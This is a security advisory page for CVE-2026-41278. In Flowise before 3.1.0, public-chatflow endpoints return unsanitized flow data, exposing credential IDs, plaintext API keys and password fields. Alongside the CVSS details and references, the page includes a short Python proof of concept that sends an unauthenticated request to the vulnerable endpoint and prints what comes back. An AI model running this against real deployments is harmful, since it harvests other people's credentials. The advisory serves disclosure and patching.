CVE-2026-41278

Description

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the GET /api/v1/public-chatflows/:id endpoint returns the full chatflow object without sanitization for public chatflows. Docker validation revealed this is worse than initially assessed: the sanitizeFlowDataForPublicEndpoint function does NOT exist in the released v3.0.13 Docker image. Both public-chatflows AND public-chatbotConfig return completely raw flowData including credential IDs, plaintext API keys, and password-type fields. This vulnerability is fixed in 3.1.0.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:* - VULNERABLE

Flowise < 3.1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL configuration
target_base = "http://localhost:3000"
chatflow_id = "susceptible-chatflow-id"

# The vulnerable endpoint
url = f"{target_base}/api/v1/public-chatflows/{chatflow_id}"

try:
    # Send unauthenticated GET request
    response = requests.get(url, timeout=10)

    if response.status_code == 200:
        print("[+] Success! Response received:")
        print(response.text)
        
        # Parse JSON to check for sensitive data exposure
        data = response.json()
        # Logic to verify presence of credentials/keys would go here
    else:
        print(f"[-] Request failed with status code: {response.status_code}")

except Exception as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41278
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41278
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41278/
[4] VulDB https://vuldb.com/cve/CVE-2026-41278
[5] https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-w47f-j8rh-wx87

Raw JSON Data

JSON

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